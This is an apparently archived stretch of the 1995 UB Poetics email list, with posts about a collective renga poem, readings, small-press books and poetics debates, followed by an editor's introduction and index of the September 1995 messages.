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> and dance, composing instead of straining muscles, far eyes
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> uncreased although each snare still trembles quantum
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> he preferred whole afternoons on the phone to that
> crap about not having a cousin on the moon
> capable of keeping the canoe right way up in the cool
> prose of the upper Hudson, dinner's at seven so
 what if the trees are conservative well i hate them
the emir said as much as any garrulous ill-advised backbiter

↑ Index

1040. **Jordan Davis.**

Re: Renga!

Thu 31 Aug 1995

> > >>In the books were dreams and in the dreams were books.>
> > >>And flew through windows, lightning green and fine morning
> > >>First inverted whistle of a cardinal in the poplar
> > >>The book and the oboe on the grass under sun and cloud
> > >>Go endlessly, an obtuse Prussian blue, it binds
> > >>The caravan of windows to what they flee
> > >>These lace curtains, more gauze than bondage, more
> > >>Mollycoddled than aware, thin-spined and pebbling
> > >>but narrow in the waist or waspish Sunday years ago
> > >>Over coffee topped with whipped lads, the Times blowing
> > >>& opining, heavy humid air, cumulus amusing against the
> > >>bleached ribcage ripcorded into compassed wind
> > >>kissing the weatherwoman between her beasts as she

> > >>gives gracious problem: fanatical snacks, landscape of
> > >>flicka my best friend and the storm in the glass of water's
> > >>halfway pertinent incision we keep making safe for ignorance
> > >> (inspection
> > >>denied for not knowing how credenza was meant) & neo-colonizing
> > >>pockets in small furniture intended house sequentially several
> > >>mountains away but it wasn't, you know, a big tango
> > >>when the attorney general came, selah hales said, "Dias, oh,ho,
> > >> kook!"
> > >>Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> > >> warehouse, curls
> > >>no ideas but the woven fabric the texture so to speak was at the dry
> > >> cleaners
> > >>piping hot and gloved-in somewhere unsalted, perched on prescience
> > >>the chair is sad, alas, and i've lusted tootles' livers
> > >>the odor day toy a cello day dis chevys a bo coo daughter chose encore
> > >>Flaubert because we're waiting all throughout eternity for moments
> > >> to be
> > >>of such suchness. In the nooks were creams and in the streams were
> > >> hooks.
> > >>All melded like striated film leftover in the pastel seeds of darkness
> > >>falling like a counterirritant around the manchineel. Likewise
> > >>sandpaper juxtaposed with seasoned instruments and recently soft
> > >> fruit
> > >>of subject's object status, violent transformation, William
> > >>la Ste. Therese into beaming cumulus apokoinu switchback
> > >>and in the u-turns were bookmobiles rounding angles considered
> > >>shrill as pine left in the acres to be aging, Dean,
> > >>flawlessly, flutes sing genderless in trio, surprised
> > >>by how quiet effort really is or is not, fast enough to sleep
> > >>through thunderstorms, arm over thigh until light shakes
> > >>petals free of names that rain across known skin forgotten, Howells
> > >>alive in our hearse hurts, projective nurse if she is to go ahead
> > >>and dance, composing instead of straining muscles, far eyes
> > >>saunter lope pentecost beam operator will you cockpit
> > >>out, transplanted organs speak, the idiom^h
> > >>inseams, a snare as solvently unequal-- the power
> > >>uncreased although each snare still trembles quantum
> > >>which explains why the pump is busted and why
> > >>he preferred whole afternoons on the phone to that
> > >>crap about not having a cousin on the moon
> > >>capable of keeping the canoe right way up in the cool

> > >>prose of the upper Hudson, dinner's at seven so
> > >he through herself night outright read backwards this
> > petrified tangle of consonants supposed to mean
> > >>a lower on-base percentage in September, the long season
and "The environmentalists are trying to destroy your daddy"
but we are loving you madly upstairs in the evening

↑ Index

1041. Peter Larkin
New Publication
Thu 31 Aug 1995

May I alert my fellow lurkers or loquacionists to the appearance of a new book of mine, from Spectacular Diseases: Seek Source Bid Sink. 28pp $6.50, stlg3.00: For first passage times across general boundaries, consider earth in columns as of two soils, its start-away and sink-in. A net absorber, in open circuit, at the candour of origin.

The massable irreversive, simplifying new which is impotence in setting, a stride in sinking.

The publisher, Paul Green, also asks me to mention an earlier book, Six Affermed (sic) Elegies ($2.50, stlg1.00). Also: Spectacular Diseases Issue 10: Allen Fisher: SCRAM, or the transmution of the concept of cities. $7.50 stlg4.00 All this and much more is available from: Paul Green, Spectacular Diseases, 83B London Road, Peterborough PE2 9BS UK

Peter

Peter Larkin Philosophy & Literature Librarian
University of Warwick Library,Coventry CV4 7AL UK
Tel:01203 524475 Fax: 01203 524211
Email: [redacted]

↑ Index

1042. Lindz Williamson
Re: Keanu, the living god (fwd)
Thu 31 Aug 1995

No, I haven't seen little Buddha but a friend told me it was brutal. What was really killing me is that he was in Winnipeg doing Hamlet for a while, curiosity was ripping me apart. I assume he was better than MEl Gibson, atleast I hope so. However, I'm really looking forward to Othello when it comes out, but I cam't remember is Samuel l JAckson, or Lawerence Fisborne playing Othello?

And sorry about the wrong scansion in the limerick, the only ones I know are about some girl from Nantucket, and a large bucket.

And there is a group of New York poets that I read about a year ago, and I was wondering if anyone knew them or about them. They're called The Pussy Poets, in partiular I'm interested in Kathy Ebel. SHe wrote this great poem called Driving Miss Lazy.

Lindz

↑ Index

1043. Loss Glazier
"Related" Listservs
Thu 31 Aug 1995

EPC --> "Related" List Suggestions

I am revamping/building a list of "related" listservs, by not too restrictive a definition, other listservs that *may* be of interest to Poetics list people/visitors to the Electronic Poetry Center. I thought to expand this list in time for the EPC's grand opening on Sept. 1 at our new location. So, I would be most grateful if anyone who has a list (or lists) to suggest might send *directly to me* (I don't want to cause too much list traffic) info about lists they think I should include. Please send, along with the "handle" (acronym) of the list, its "name", a subscription address, and, only if you wish, a line or two about it. I thank you in advance, Loss

-->Loss Glazier
-->[redacted]

PS. If you can't get your suggestions to me by Sept. 1st, still send them, I can always update the list later.

↑ Index

1044. Jorge Guitart
Re: Renga!
Thu 31 Aug 1995

On Thu, 31 Aug 1995, Jordan Davis. wrote:

> > > >>In the books were dreams and in the dreams were books.>
> > > >>And flew through windows, lightning green and fine morning
> > > >>First inverted whistle of a cardinal in the poplar
> > > >>The book and the oboe on the grass under sun and cloud

> > > >>Go endlessly, an obtuse Prussian blue, it binds
> > > >>The caravan of windows to what they flee
> > > >>These lace curtains, more gauze than bondage, more
> > > >>Mollycoddled than aware, thin-spined and pebbling
> > > >>but narrow in the waist or waspish Sunday years ago
> > > >>Over coffee topped with whipped lads, the Times blowing
> > > >>& opining, heavy humid air, cumulus amusing against the
> > > >>bleached ribcage ripcorded into compassed wind
> > > >>kissing the weatherwoman between her beasts as she
> > > >>gives gracious problem: fanatical snacks, landscape of
> > > >>flicka my best friend and the storm in the glass of water's
> > > >>halfway pertinent incision we keep making safe for ignorance
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> > > >>when the attorney general came, selah hales said, "Dias, oh,ho,
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> > > >>of such suchness. In the nooks were creams and in the streams were
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> > > >>All melded like striated film leftover in the pastel seeds of darkness
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> > > >>flawlessly, flutes sing genderless in trio, surprised
> > > >>by how quiet effort really is or is not, fast enough to sleep
> > > >>through thunderstorms, arm over thigh until light shakes
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> > > >>alive in our hearse hurts, projective nurse if she is to go ahead
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> > > >he through herself night outright read backwards this
> > > petrified tangle of consonants supposed to mean
> > > >>a lower on-base percentage in September, the long season
> and "The environmentalists are trying to destroy your daddy"
> but we are loving you madly upstairs in the evening.
 However, can you put that heuristic chainsaw down? Thanks!

↑ Index

1045. Daniel Bouchard/College/hmco
Fate
Thu 31 Aug 1995

This list is pretty handy. Had I not posted that Laughlin and Corbett were reading in Boston on 9/14, I might never have found out that Rae A. was reading in Providence on the same night. This posed a dilemma. Walk a few blocks in Boston, or amtrak to RI? As it turns out, the hosting bookshop in Boston burst into flames last night, and will be lucky if they open by Xmas. Gale: what time does the reading start and where is it being held?

↑ Index

1046. Patrick Phillips
Re: Fate
Thu 31 Aug 1995

Daniel Bouchard writes:

 As it turns out, the hosting bookshop in Boston
>burst into flames last night, and will be lucky if they open by Xmas.

Which bookstore?!

↑ Index

1047. Gale Nelson
Re: Fate
Thu 31 Aug 1995

Rae Armantrout reads on Thursday, 14 September at 8 p.m. in the Russell Lab, T.F. Green Building (not the airport out in Warwick). T.F. Green is located at 5 Young Orchard.

Directions:

Take Highway 95 to
Highway 195 East (the only direction you can go, as this is the start of the highway)
Highway 195 to exit 3 (Gano St.)
From the offramp, turn Right onto Gano St.
Turn left onto Power St.
Turn right onto Hope St.
Park where parking is available.
Young Orchard is one street north of Power.

Any additional questions, please feel free to call [redacted]

↑ Index

1048. Jeffrey Timmons
Re: Rejected posting to [redacted] (fwd)
Thu 31 Aug 1995

---------- Forwarded message ----------
Date: Mon, 28 Aug 1995 19:51:33 -0700 (MST)
From: [redacted]
To: UB Poetics discussion group <[redacted]>
Cc: Multiple recipients of list POETICS <[redacted]>
Subject: Re: Rejected posting to [redacted]

I found Julianna's comments very interesting--particularly (and I don't want to beat any dead animals here) as they related to "outsiders" intruding into the POETICS listserv. I think it is good--even if the interlocutor (sp) was not up to snuff for some folks--that we attempt to engage those that do not share our ideology. I think we lose twice when we first reject those that do not share our views and then vent on them. I only skimmed the whole exchange so forgive me if I'm not seeing this thing clearly enough. Also, her comments about teaching "alternative" poetry were great. It is worthwhile, I believe, to discuss the success or failures of such classroom (or other) experiences with other than "mainsteam" poetries (and we all know it when we see it. I guess one question might be, is identification necessary for the aesthetic experience? I mean, is

identification with poetry taught as a way to engage with it? I am curious as to why such a mode of response seems so prevalent. I'd like to see more discussion of such work with poetry.

Jeffrey Timmons

↑ Index

1049. **George Bowering**
Re: Renga!
Thu 31 Aug 1995

>
> > > >>In the books were dreams and in the dreams were books.>
> > > >>And flew through windows, lightning green and fine morning
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> > > >>halfway pertinent incision we keep making safe for ignorance
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> > > >>Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
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> > > >>prose of the upper Hudson, dinner's at seven so
> > > >he through herself night outright read backwards this
> > > >petrified tangle of consonants supposed to mean
> > > >>a lower on-base percentage in September, the long season
> and "The environmentalists are trying to destroy your daddy"
> > > >>but we are loving you madly upstairs in the evening
> > > >>l'abondance des touchers, ni la lenteur furtive,

↑ Index

1050. **Jordan Davis.**

re pussy poets

Thu 31 Aug 1995

Lindz

The pussy poets disbanded sometime late last year. Janice Erlbaum has been writing her memoirs for a free paper, the New York Press, which is slated for

demolition as soon as Time Out New York hits the stands at the end of September. Janice also works for a local online service as a facilitator and she reads around NY quite a bit. Douglass Rothschild alias Tony Door and Janice hosted a talk show at the Poetry Project for a while last year. Kathy Ebel is the only other pussy poet _I_ know, and though I don't know "Driving Miss Lazy" I do like her work at least as much as Janice's. I haven't seen the other two around lately (on the street or the Poetry Calendar)... anybody else have info?

Jordan

PS the pussy poets was a group of four young women in NYC who read performed rapped sang their poetry together, something like the Last Poets or Cayenne or bloodtest (correct name?) groups

↑ Index

1051. **Jordan Davis.**
Re: Renga!
Thu 31 Aug 1995

> > > >>In the books were dreams and in the dreams were books.>
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> > > >>no ideas but the woven fabric the texture so to speak was at the dry
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> > > >>a lower on-base percentage in September, the long season
> and "The environmentalists are trying to destroy your daddy"
> but we are loving you madly upstairs in the evening.
 However, can you put that heuristic chainsaw down? Thanks!
Hey! Hey! Hey! Stripmine your family! Encode your boredom!

↑ Index

1052. **Jeffrey Timmons**

Re: Help..

Thu 31 Aug 1995

On Mon, 28 Aug 1995, Lindz Williamson wrote:

I still see poetry as a form of communication as that is the primary use
of language. POetry
although not directly conversive still does perform this task, why eles do
> we feel the need to write poems in response to other poems. Or even why
> do we renga? Word play, concrete images, and phonetics are experiments
> within the realm, but communication is the goal. If not then why bother
> showing it to anyone else. If its not going to invoke emotion or atleast
> a reaction then I don't understand the purpose.

However, the sorts of responses generated by poetry--and I'll include music or, even more generally, sound--are not necessarily communicative, or even concerned with communicating a specific intention. I agree that evoking response of some sort is commonly assumed to be at the root of poetry--sound, aesthetics--but limiting it to communication is a highly instrumental or use-value point of view. That is, it tends, as I see it, to reduce poetry--art in general--to its functionality, when in fact much can be made of the fact that 20th century aesthetics deliberately upsets such notions. That seems to be an important aspect of non-referentiality, to upset such clearly instrumental perspectives of art. When I listen to "noise"--as in deliberately produced as art noise-- I do not hear communication, but the upseting of the very basis of communication. I live in it and relish it for its simple inversion of the ideology of opacity that permeates our lives. Or something like that....

Jeffrey Timmons

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

September 1995

1005 messages · Fri 1 Sep 1995 – Sat 30 Sep 1995

September opens on a rare public consensus: on the sixth, Cal Ripken plays his two-thousand-one-hundred-and-thirty-first consecutive game and a divided country agrees, for one evening, to be moved. In Bosnia the guns pause toward a peace that will be signed by winter. On the list, meanwhile, the summer's single poem declines, flatly, to end.

The renga returns as 'the sequel,' and then — inevitably — as 'Two rengs dont make a write.' Jorge Guitart, who this month posts an astonishing hundred and eighteen times, presides over its mutations, while Louis Cabri keeps transcribing the swelling text and notices, under the alarmed banner 'wcw qtd in this renga,' that a red wheelbarrow has quietly rolled into the collective poem. The list has written itself a monster and cannot look away.

The renga's true comedy, though, is formal. Quoted and requoted, it sinks beneath stratum after stratum of carets until, in Sheila, Chris and Jorge's much-loved Excellent Adventure, the opening line surfaces under a dozen stacked '>' marks like a fossil in shale. It becomes an involuntary demonstration of how a poem behaves when everybody insists on holding it at once — branching, breaking, refusing to resolve.

Amid the play the list still reads in earnest. Pierre Joris observes that *“Jabes' name is better known than his work”*, laying the blame on Derrida and Blanchot, who lend the name without the books; over in the Williams skirmish M. Magoolaghan teases Edward Foster for tiring so fast of the old doctor and his *“damned chicken”*; and H. T. Kirby-Smith offers his favourite mock-explication of the Red Wheelbarrow as *“a tribute to the American Farmer”*, on whom, of course, so much depends.

By the equinox the renga is less a poem than a weather system, and the list has quietly reaffirmed its oldest conviction — that writing is something done together, in the open, with no owner and no final line. I have ordered the letters, hidden every address behind its bar, and left the poem precisely where September abandoned it: mid-branch, still being written by more hands than can be counted.

— Kristen M. Fabians

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140. Kenneth Goldsmith — Hard Press/Lingo New URL/Lingo 4 Online

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141. Rod Smith — Re: boredom is a genteel way to take offense
142. Pierre Joris — Re: Poets, Nations,
143. R I Caddel — UK Resources etc
144. Jorge Guitart — Re: rengazo
145. Mark Wallace — trying to find Jordan Davis
146. Aldon L. Nielsen — Re: now and duende
147. Aldon L. Nielsen — Re: your american cousin
148. Edward Foster — Re: boredom is a genteel way to take offense
149. Joe Amato — rejection rejection...
150. eric pape — Re: Jabes
151. George Bowering — Re: your american cousin
152. Tony Green — Re: your american cousin
153. Tony Green — Re: Studying in England
154. Tony Green — (Fwd) Re: UK-CALL
155. George Bowering — Re: boredom is a genteel way to take offense

156. George Bowering — Re: Two rengs dont make a write
157. Jorge Guitart — Re: Two rengs dont make a write
158. Stephen Galen Cope — duende

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159. Ryan Knighton — Re: boredom is a genteel way to take offense
160. Ryan Knighton — Re: boredom is a genteel way to take offense
161. cris cheek — Re: desire / and the 39 steps
162. cris cheek — Re: your american cousin
163. Michael Boughn — Commie wheelbarrows
164. R I Caddel — UK/US/UK book distribution
165. CAROLYN L. FORCHE-MATTISON — Re: your american cousin/distribution
166. Loss Glazier — Re: UK/US/UK book distribution
167. H. T. KIRBY-SMITH — Red Wheelbarrow
168. Daniel Bouchard/College/hmco — Re: Red Wheelbarrow
169. Aldon L. Nielsen — Re: What if it were all in Spanish?
170. Aldon L. Nielsen — Re: cousin cousine
171. Jorge Guitart — trees and wheelbarrows
172. kathryne Lindberg — Re: duende
173. cris cheek — Degree in Skepticism
174. cris cheek — Re: Capitals
175. Tom Taylor — (Fwd) magazine you #15
176. Gale Nelson — Re: your american cousin/distribution
177. cris cheek — Re: your american cousin/distribution
178. cris cheek — Re: Red Wheelbarrow
179. LAURA MORIARTY — Day/Moriarty reading
180. Tony Green — Re: Poets, Nations,
181. Robert A Harrison — Visual Poetry Catalog
182. Steve Evans — The Ear of Alfred Corn
183. George Bowering — Re: What if it were all in Spanish?
184. George Bowering — Re: Red Wheelbarrow
185. Ken Edwards — your american cousin
186. George Bowering — Re: Two rengs dont make a write
187. Wendy Battin — Re: your american cousin/distribution
188. Wendy Battin — Re: your american cousin/distribution
189. Ron Silliman — Study the Dead
190. Ron Silliman — Re: Poets, Nations,
191. CAROLYN L. FORCHE-MATTISON — Re: Grolier snailmail
192. Charles Alexander — Re: your american cousin/distribution
193. Charles Alexander — Re: your american cousin/distribution

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194. Jeffrey Timmons — Re: Red Wheelbarrow
195. Ron Silliman — Re: your Finnish-american cousin
196. Pierre Joris — Re: your Finnish-american cousin
197. cris cheek — Re: cousin cousine
198. R I Caddel — distribution / boredom
199. Pierre Joris — Re: UK Resources etc
200. Pierre Joris — Re: Jabes
201. Sheila E. Murphy — Re: Two rengs dont make a write
202. Marjorie Perloff — Re: Distribution of British poetry
203. Herb Levy — Wilson Harris
204. I.LIGHTMAN — uk poetry and compendium books
205. Fred Muratori — Persian Gulf Poetry
206. cris cheek — Re: Grolier snailmail
207. Aldon L. Nielsen — Re: Talkshows, wheelbarrows & British verse
208. Aldon L. Nielsen — Re: did I do that?

209. Aldon L. Nielsen — Re: Who is Wilson Harris?
210. Jorge Guitart — Re: Two rengs dont make a write
211. eric pape — Re: Jabes
212. Pierre Joris — Re: Distribution of British poetry
213. George Bowering — Re: UK Resources etc
214. George Bowering — Re: magic names
215. Shaunanne Tangney — Re: Talkshows, wheelbarrows & British verse
216. Charles Smith — Re: Wilson Harris
217. Loss Glazier — Re: Grolier snailmail

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218. Stephen Galen Cope — Re: Wilson Harris
219. Sheila E. Murphy — Re: Two rengs dont make a write
220. Charles Smith — Re: magic names
221. Rod Smith — Re: magic names
222. George Bowering — Re: more magic names
223. Ken Edwards — Wilson Harris, UK poetry & more
224. W. Northcutt — Red Wheelbarrow and that Damned Chicken
225. H. T. KIRBY-SMITH — Red Wheelbarrow
226. cris cheek — Re: desire / and the 39 steps
227. cris cheek — Re: desire / and the 39 steps
228. Charles Alexander — place, so to speak
229. Jorge Guitart — Re: Two rengs dont make a write
230. Jorge Guitart — Re: magic name
231. Lindz Williamson — thanks
232. Charles Bernstein — agency (2)
233. Ryan Knighton — Re: magic names
234. Burt Kimmelman — Re: Red Wheelbarrow
235. Sheila E. Murphy — Re: Two rengs dont make a write
236. Charles Alexander — Re: Two rengs dont make a write
237. Charles Alexander — no way it's renga, forgive

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238. George Bowering — Re: Two rengs dont make a write
239. Thomas Bell — Re: Two rengs dont make a write
240. Jorge Guitart — Re: Two rengs dont make a write
241. H. T. KIRBY-SMITH — permission
242. Charles Bernstein — Agency (1)
243. Loss Glazier — Re: permission
244. Gwyn McVay — Re: Agency (1)
245. Keith Tuma — Re: Agency (1)
246. Keith Tuma — Re: Agency (1)
247. Joe Amato — majik names...
248. Loss Glazier — Re: permission
249. Aldon L. Nielsen — Re: errata sweet
250. Aldon L. Nielsen — Re: zingers
251. CAROLYN L. FORCHE-MATTISON — Re: errata sweet
252. david ayre — SPECIAL AGENCY
253. david ayre — I'm dreadfully sorry !
254. beard — Re: permission
255. Tony Green — Re: no way it's renga, forgive
256. Joseph Zitt — Re: permission
257. Tony Green — Re: your Finnish-american cousin
258. Loss Glazier — Re: I'm dreadfully sorry !
259. George Bowering — Re: I'm dreadfully sorry !Me too.
260. George Bowering — Re: SPECIAL AGENCY
261. George Bowering — Re: majik names...

262. George Bowering — Re: Agency (1)
263. George Bowering — Re: Two rengs dont make a write
264. Ann Lauterbach — Re: POETICS Digest - 8 Sep 19...
265. Charles Alexander — Re: no way it's renga, forgive
266. Jeffrey Timmons — Re: SPECIAL AGENCY

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267. Louis Cabri — (no subject)
268. Thomas Bell — (no subject)
269. Sheila E. Murphy — Re: Two rengs dont make a write
270. Sheila E. Murphy — Re: permission
271. Sheila E. Murphy — Re: SPECIAL AGENCY
272. Gabrielle Welford — Re: SPECIAL AGENCY
273. Rod Smith — Re: SPECIAL AGENCY
274. Wystan Curnow — Re: SPECIAL AGENCY
275. Kevin Killian — Re: I'm dreadfully sorry !
276. Kevin Killian — A happy result of a long process
277. W. Northcutt — anagrams
278. CAROLYN L. FORCHE-MATTISON — Re: no way it's renga, forgive
279. Jorge Guitart — Re: Two rengs dont make a write
280. Jorge Guitart — Re: Two rengs dont make a write
281. Jorge Guitart — Re: your mail
282. Jorge Guitart — Re: Sheila & Jorge's Excellent Adventure
283. R I Caddel — Global Poets
284. Gwyn McVay — Re: your mail
285. Gale Nelson — Re: magic names
286. Steve Evans — It is better to be ruined attempting the impossible
287. Sheila E. Murphy — Re: your mail
288. Sheila E. Murphy — Re: Sheila & Jorge's Excellent Adventure
289. Steve Evans — Errata (not so sweet)
290. Edward Foster — Re: Red Wheelbarrow and that Damned Chicken
291. Gale Nelson — French Poetry Festival in October
292. Edward Foster — Re: Red Wheelbarrow
293. Rod Smith — Re: SPECIAL AGENCY
294. M. Magoolaghan — you & whose army?
295. B. Cass Clarke — Hollo, Dorn address
296. Tom Taylor — Re: Agency (1)
297. Jorge Guitart — Re: your mail
298. Brian McHale — Steve McCaffery address
299. Jorge Guitart — Sheila & Jorge's Excellent Adventure
300. Charles Bernstein — French Poetry Festival
301. Patrick Phillips — Re: Fall Ear Inn Schedule (fwd)
302. Patrick Phillips — Re: SPECIAL AGENCY
303. beard — Agency (1)
304. Jordan Davis. — Re: Two rengs dont make a write
305. Herb Levy — SPECIAL AGENCY
306. Bill Luoma — Fall Ear Inn Schedule (fwd)
307. Jordan Davis. — Excellent Adventure
308. Jordan Davis. — Adventure Agency
309. klobucar — Dave Ayre As I Remember Him
310. Aldon L. Nielsen — Re: putting on ayres
311. John Geraets — Entry Phrasing
312. Sheila E. Murphy — Re: your mail
313. Sheila E. Murphy — Re: Sheila & Jorge's Excellent Adventure
314. Sheila E. Murphy — Re: Adventure Agency

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315. Aldon L. Nielsen — Re: " . . ."
316. Thomas Bell — Re: Two rengs dont make a write
317. Aldon L. Nielsen — Re: Special Delivery
318. Jorge Guitart — Re: Two rengs dont make a write
319. Jorge Guitart — Re: Excellent Adventure
320. Jorge Guitart — Re: Adventure Agency
321. Jorge Guitart — Re: your mail
322. Jorge Guitart — Re: Sheila & Jorge's Excellent Adventure
323. Thomas Bell — Re: Adventure Agency
324. Rod Smith — Re: Dave Ayre As I Remember Him
325. Thomas Bell — renga
326. Charles Alexander — Re: renga
327. Ron Silliman — Re: Red Wheelbarrow
328. Michael Boughn — Re: Red Wheelbarrow and that Damned Chicken
329. Michael Boughn — Re: SPECIAL AGENCY
330. Charles O. Hartman — Re: Entry Phrasing
331. Don Cheney — Phone Bill
332. Edward Foster — Re: you & whose army?
333. Herb Levy — Re: SPECIAL AGENCY
334. Kevin Killian — Address query
335. Edward Foster — Re: Special Delivery
336. Edward Foster — Re: Red Wheelbarrow
337. M. Magoolaghan — Re: you & whose army?
338. Jeffrey Timmons — Re: SPECIAL AGENCY
339. Jeffrey Timmons — Re: SPECIAL AGENCY
340. Alan Golding — Jobs
341. Gwyn McVay — A non-list anagram
342. Jorge Guitart — Re: Adventure Agency
343. Jorge Guitart — Re: Two rengs dont make a write
344. Jorge Guitart — Re: Adventure Agency
345. Ryan Knighton — Re: Welford
346. cris cheek — Re: Sheila & Jorge's Excellent Adventure
347. Bill Luoma — Re: Red Wheelbarrow
348. Patrick Phillips — Re: Red Wheelbarrow
349. Jordan Davis. — use narrative engines
350. Jordan Davis. — ode to unix
351. Tony Green — Re: renga
352. Jordan Davis. — twenty questions
353. Jordan Davis. — ahem Chaim subroutine hawk stichic
354. CAROLYN L. FORCHE-MATTISON — Re: twenty questions
355. Jorge Guitart — this break will or will not not branch
356. Jorge Guitart — Re: renga
357. Jorge Guitart — Re: ahem Chaim subroutine hawk stichic
358. Charles Watts — Re: Red Wheelbarrow
359. Brian W Horihan — unidentified photo
360. jms — Re: unidentified photo
361. George Bowering — Re: Sheila & Jorge's Excellent Adventure
362. George Bowering — Re: A non-non-list anagram
363. George Bowering — Re: renga
364. George Bowering — Re: Dave Ayre As I Remember Him
365. George Bowering — Re: SPECIAL AGENCY
366. George Bowering — Re: SPECIAL AGENCY
367. Charles Alexander — Re: this break will or will not not branch
368. Scott Krieger — Re: this break will or will not not branch
369. Charles Alexander — Re: ahem Chaim subroutine hawk stichic
370. Charles Bernstein — "Free Poetics" (Daily Message Threshold (50) exceeded for list)

371. Rod Smith — Re: Fall Ear Inn Schedule (fwd)

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372. Charles Alexander — Re: Sheila & Jorge's Excellent Adventure
373. Sheila E. Murphy — Re: Sheila & Jorge's Excellent Adventure
374. Thomas Bell — permissions
375. Sheila E. Murphy — Re: Sheila & Jorge's Excellent Adventure
376. Thomas Bell — Taking mercy on the over-posted
377. W. Northcutt — Red Wheelbarrow and that Road-Kill Chicken
378. Ron Silliman — Re: use narrative engines
379. cris cheek — Re: Sheila & Jorge's Excellent Adventure
380. Don Cheney — twenty questions
381. Judy Roitman — Re: Entry Phrasing
382. Judy Roitman — Re: unidentified photo
383. Judy Roitman — Re: Fall Ear Inn Schedule (fwd)
384. Bill Luoma — Corrected Fall Ear Inn Schedule (fwd)
385. Mark Wallace — Ruthless Grip Art Project Poetry Readings
386. Aldon L. Nielsen — Re: inquiry from the unlettered
387. Aldon L. Nielsen — Re: rehire
388. Aldon L. Nielsen — Re: unrenga the bell
389. Steven Howard Shoemaker — renga
390. Daniel Bouchard/College/hmco — Re: Entry Phrasing
391. Rod Smith — Re: twenty questions, sort of
392. Louis Cabri — trued to sound a version of Tue, 12 Sep 1995 01:23:45 -0400
393. Sheila E. Murphy — Re: this break will or will not not branch
394. Tony Green — Re: SPECIAL AGENCY
395. Jorge Guitart — Re: Sheila & Jorge's Excellent Adventure
396. Jorge Guitart — Re: this break will or will not not branch
397. Jorge Guitart — Re: Sheila & Jorge's Excellent Adventure
398. Jorge Guitart — Re: Sheila & Jorge's Excellent Adventure
399. Jordan Davis. — Re: Sheila & Jorge's Excellent Adventure
400. Jordan Davis. — Re: Sheila & Jorge's Excellent Adventure
401. Jordan Davis. — Re: this break will or will not not branch
402. Jordan Davis. — fugazi redshifter approaching colossus
403. Jordan Davis. — big local news
404. Jorge Guitart — Re: Taking mercy on the over-posted II
405. Jorge Guitart — Re: Sheila & Jorge's Excellent Adventure
406. Jorge Guitart — Re: Sheila, Chris & Jorge's Excellent Adventure
407. Jorge Guitart — Re: this break will or will not not branch
408. Jorge Guitart — Re: fugazi redshifter approaching colossus
409. Jorge Guitart — Re: big local news
410. Chris Scheil — FWD: PLA Communique #32: VOCABULARY MODIFICATION PROPOGANDA
411. Tony Green — Re: Sheila & Jorge's Excellent Adventure
412. Tony Green — Re: Benson address
413. Tony Green — Marcel Revisited
414. David Ayre — dear listserv,
415. David Ayre — Hello INFO friends...
416. David Ayre — Dear Listserv,
417. cris cheek — Re: this break or make will or will not not branch
418. cris cheek — Re: ahem Chaim subroutine hawk stichic
419. cris cheek — Re: Sheila & Jorge's Excellent Adventure
420. cris cheek — Re: this break will or will not not branch
421. Tony Green — ouch
422. cris cheek — C.Rodriquez:San Andres VI: The Balance Shifts, Sep 12
423. Charles Alexander — Re: this break will or will not not branch

424. Charles Alexander — Re: Sheila & Jorge's Excellent Adventure
425. Charles Alexander — Re: Sheila & Jorge's Excellent Adventure
426. Charles Alexander — Re: Sheila & Jorge's Excellent Adventure
427. George Bowering — Re: this break will or will not not branch
428. George Bowering — Re: renga
429. Charles Alexander — Re: this break will or will not not branch
430. Charles Alexander — Re: Sheila & Jorge's Excellent Adventure
431. Charles Alexander — Re: this break will or will not not branch
432. Charles Alexander — Re: this break will or will not not branch
433. Charles Alexander — Re: big local news
434. George Bowering — Re: Sheila & Jorge's Excellent Tryst
435. Charles Alexander — Re: Sheila & Jorge's Excellent Adventure
436. Charles Alexander — Re: Sheila & Jorge's Excellent Adventure
437. Charles Alexander — Re: fugazi redshifter approaching colossus
438. Charles Alexander — Re: big local news
439. Jeffrey Timmons — Re: Dear Listserv,

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440. klobucar — Re: SPECIAL AGENCY
441. Sheila E. Murphy — Re: Sheila & Jorge's Excellent Adventure
442. Sheila E. Murphy — Re: fugazi redshifter approaching colossus
443. Sheila E. Murphy — Re: Sheila, Chris & Jorge's Excellent Adventure
444. Sheila E. Murphy — Re: this break will or will not not branch
445. Louis Cabri — spike it with saussure - begins the intramix...
446. John Cayley — RENGA SUGGESTION (PLEA! FREE US UP!)
447. Jorge Guitart — Re: Sheila & Jorge's Excellent Adventure
448. Judy Roitman — Re: Entry Phrasing
449. Sheila E. Murphy — Re: this break will or will not not branch
450. Sheila E. Murphy — Re: this break will or will not not branch
451. Sheila E. Murphy — Re: spike it with saussure - begins the intramix...
452. Sheila E. Murphy — Re: this break will or will not not branch
453. Jorge Guitart — Re: Sheila & Jorge's Excellent Adventure
454. Jorge Guitart — Re: Chax, Sheila & Jorge's Excellent Adventure
455. Jorge Guitart — Re: Sheila, Chris & Jorge's Excellent Adventure
456. Jorge Guitart — Re: Sheila & Jorge's Excellent Adventure
457. Jorge Guitart — Re: fugazi redshifter approaching colossus
458. Daniel Bouchard/College/hmco — Renga and the Far Write
459. Jorge Guitart — Re: RENGA SUGGESTION (PLEA! FREE US UP!)
460. cris cheek — Re: permissions on the 'ringa'
461. cris cheek — Re: Sheila, Chris & Jorge's Excellent Adventure
462. Ken Edwards — UK poetry
463. Herb Levy — David Ayre's rengas
464. Steven Howard Shoemaker — anagrams to the stars
465. Eryque Gleason — Re: Permission
466. Jorge Guitart — Re: Renga and the Far Write
467. Jorge Guitart — Re: Sheila, Chris & Jorge's Excellent Adventure
468. Jorge Guitart — anything exciting happened in my absence?

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469. Thomas Bell — Re: this break will or will not not branch
470. Thomas Bell — Re: spike it with saussure - begins the intramix...
471. Thomas Bell — Re: this break will or will not not branch
472. Sheila E. Murphy — Re: Sheila, Chris & Jorge's Excellent Adventure
473. Ron Silliman — Re: spike it with saussure - begins the intramix...
474. Ron Silliman — Re: RENGA SUGGESTION (PLEA! FREE US UP!)
475. cris cheek — Re: Sheila, Chris & Jorge's Excellent Adventure
476. cris cheek — Re: this break will or will not not branch

477. Ron Silliman — Re: RENGA SUGGESTION (PLEA! FREE US UP!)
478. H. T. KIRBY-SMITH — Renga permissions
479. Edward Foster — Re: you & whose army?
480. Edward Foster — Re: you & whose army?
481. Edward Foster — Re: Red Wheelbarrow
482. Edward Foster — Re: use narrative engines
483. Edward Foster — Re: inquiry from the unlettered
484. Jeffrey Timmons — Re: you & whose army?
